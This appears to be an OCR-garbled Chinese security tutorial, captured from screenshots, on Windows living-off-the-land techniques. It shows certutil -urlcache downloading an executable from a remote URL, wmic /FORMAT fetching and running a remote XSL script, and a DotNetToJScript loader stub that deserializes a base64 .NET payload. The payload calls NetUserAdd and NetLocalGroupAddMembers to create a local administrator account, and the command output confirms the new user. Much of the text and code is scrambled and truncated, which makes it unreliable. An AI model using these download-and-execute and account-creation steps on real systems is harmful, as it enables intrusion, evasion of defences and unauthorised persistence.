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PR : T C\Windows\System32\certutil.exe
RERE : certutilAS FEIE
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ATER FMEE , InREMARNERS | EEINHERE.

C:\Users\Administrator\Desktop\WWWTEST>certutil -urlcache -f -split "http://
/2. exe”

1B 28171 .
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Certutil & Certutil -urlcache -f -split url

Certutil | Certutil -urlcache —-f -split url
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\WWWTEST>certutil | certutil -urlcache -f -split "} s php
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\Adninistrator\Desktop\WWWTEST>certutil -urlcache =f -split "http:/, test. php
/2. exe"
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:\Users\Administrator\Desktop\WWWTEST>wmic os get /FORMAT:"http://
xsl"

.

:\Users\Administrator\Desktop\WWWTEST >wmic os
BootDevice BuildNumber BuildType Caption
CodeSet CountryCode CreationClassName CSCreationCla
CSDVersion CSName CurrentTimeZone DataExecutionPrevention_32Bi

Applications DataExecutionPrevention_Available DataExecutionPrevention_Driuve
DataExecutionPrevention_SupportPelicy Debug Description Distributed Encr
ptionLevel ForegroundApplicationBoost FreePhysicalMemory FreeS$paceInPagingFil
ps  FreeUirtualMemory InstallDate LargeSystemCache LastBootUpTi
LocalDateTime Locale Manufacturer

prOfProcesses MaxProcessMemorySize MUILanguages Name
NumberOfLicensedUsers N
ber0fProcesses NumberOfUsers OperatingSystemSKU Organization OSArchitecture




C:\Users\Administrator\Desk top\WWWTEST>wnic os get /FORMAT: http://

(fsu.xsl”

Starting

ALl Success! os get /FORMAT:"http://. /suU.xs1"XIA0OMINGroot\cimu2rool
t\c1iIMPERSONATEPKTPRIUACYms_804ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON\Device\Hardd|
iskUolumel176@1Multiprocessor FreeMicrosoft Windows Server 2008 R2 Standard 93686

Wlin32_OperatingSystemWin32_ComputerSystemService Pack 1XIAOMING48GTRUETRUETRUE3F|
ALSEFALSE256212163842053396329170020191007213151.000000+48020201022122027 .500000)
+48020201022124229.673000+4800804Microsoft Corporation-18589934464zh-CNMicrosoft
Windows Server 2008 R2 Standard |C:\lWindows|\Device\Harddisk®\Partition20492764
-bit205227218TRUE3Windows F F700477-001-0000421-849891020965640K272\Device\Hardd|
iskUolume2C:\Windows\system32C:419312820965646.1.7601C: \Windows

X$F wmic FGEI I AT wmic 7AfF exit IR,
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C:\Users\Administrater>net user
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C:\Users\Administrator\Desktop\WWWTEST>unic os
BootDevice BuildNumber BuildType Caption
CodeSet CountryCede CreationClassName CSCreationC
ssName CSDUersion CSName CurrentTimeZone DataExecutionPreuention_32H
tApplications DataExecutionPrevention_Available DataExecutienPrevention_Drivg
s DataExecutionPrevention_SupportPelicy Debug Description Distributed Enc
ptionLevel ForegroundApplicationBoost FreePhysicalHemory FreeSpaceInPagingFi
es FreeUirtualMemory InstallDate LargeSystemCache LastBootUp
me LocalDateTime Locale Manufacturer MaxNu
er0fProcesses MaxProcessMemorySize MUILanguages Name
NumberOfLicensedUsers
mber0fProcesses NumberOfUsers OperatingSystemSKU Organization O0SArchitectu
0SLanguage O0SProductSuite 0SType OtherTypeDescription PAEEnabled PlusPro
uctID PlusUersionNumber Primary ProductType RegisteredUser SerialNumber
ServicePackMajorlUersion ServicePackMinorUersion SizeStoredInPagingFi
es Status SuiteMask SystemDevice SystemDirectory SystemDri
TotalSwapSpacesize TotalUirtualMemoryS$ize TotalUisibleMemorySize WUersion
WindowsDirectory
\Device\HarddiskUolumel 7601 Multiprocessor Free Microsoft Windows Sef

SREBRHIT wmic os get & <ENRIALINRM, L
RIARBES, WTFIR:

C:\Users\Administrator\Desktop\WWWTEST>wmic os get /FORMAT:"http://

Jadd.xsl”

Starting

All Success! os get /FORMAT:"http:// /add . xs1"XIAOMINGroot\cimu2ro
ot\cliIMPERSONATEPKTPRIUACYms_8OG4ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON\Device\Hard
diskUolumel7601Multiprocessor FreeMicrosoft Windows Seruer 2008 R2 Standard 9369
6llin32_OperatingSystemWin32_ComputerSystemSeruvice Pack 1XIAOMING48O0TRUETRUETRUEJ]
FALSEFALSE256211616761983172313564020191007213151 . 000000+48020201022162913.50000
0+48020201022170235. 951000+4800804Microsoft Corporation-18589934464zh-CNMicroso
t Windows Server 2008 R2 Standard |C:\Windows|\Device\Harddisk®\Partition204827§
4-bit205227218TRUE3Windows FH /7 00477-001-0000421-849891020965640K272\Device\Hard
diskUolume2C:\Windows\system32C:419312820965646.1.7601C: \Windous

C:\Users\Administrator>net user

\\XIAOMING [ Pk A

QQministrator SecTest

LR, RIAFIFEERATEESEANE, FIUERE
XERTAMNEEGFITINT, HIAEZEEZ2EAT
windows BJ 2 > api REUHITEIEZRA P ARINEEA
H, DHAH:



NetUserAdd
NetLocalGroupAddMembers

A gE B A=AE] xs| X EAPATRORINAFLRIEIERA,
EARXTBNRERTIGRINAIE cff HARSENN
dil X4, #RIE{$ER DotNetToJScript J§i% dil SX{tEE R
A js, REFERAAN js XHBEZZEMINITRI xsl X
HEE, NF c# IBSIHE c++ 1B= A windows api
NINAFEEERAWN EEZBRZME, EIREAM
17. PAEMER Visual Studio IFFAE T RIS ot X
&) dil X4,

1B%K: csc /target:library /out: #iH XX FEEILRY ot
X%

fAFE1ERA DotNetTodScript H§ XX 4R js MBI

(DotNetTodScript XM TEZHRH 17 & James
Forshaw FHE 7 —"1TE DotNetToJScript, BEUZFIF
JS. Vbs FHIANNE. Net 12, ) BAIEABIERE
B, AR



%function setversion() {

function debug(s) {1}

function baseé4ToStream(b) {
var enc = new ActiveXObject("System.Text. ASCIIEncoding”);
var length = enc.GetByteCount_. Z(b)
var ba = enc.GetBytes 4 (b);
var transform = new ActiveXCbject("System.Security.Cryptography.FromBaseédTransform”) ;
ba = transform.TransformFinalBlock(
var ms = new ActiveXObject("Sy
ms.Write(ba, 0, (length / 4) * 3);
ms.Position = 0;
return ms;

}

var serialized obj

Jtry {

setversion() ;

var stm = base64ToStream(serialized obj);
var fmt = new ActiveXObject('
var al = new ActiveXObject('Sy
var d = fmt.Deserialize 2(stm);
al.ndd (undefined) ; -

var o = d.DynamicInvoke (al.ToArray()).CreateInstance (entry class);

} catch (e) {
debug (e.message) ;

WIERIEARRZEE js BT EA—L windwos api IR
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base64 /i3, EIEXEEAN xsl XHEE XA Jscript
ES, 8B net BRI ﬁﬁ%ljjﬁuo SO =E (74 VRLN
BEgFRENTHSS, EREZERBIZRRT FIUER
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AEREE SeEEfE | BELEERME (17)

GdFHRIMEIEERA:

C:\Users\Administrator\Desktop\sharp>testadd.exe testn AR123456789 /add
All Success!
C:\Users\Administrator\Desktop\sharp>net user

\AXIAOMING FIH P bk P

Administrator
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Users\Administrator\Desktop\sharp>net localgroup administrators
administrators
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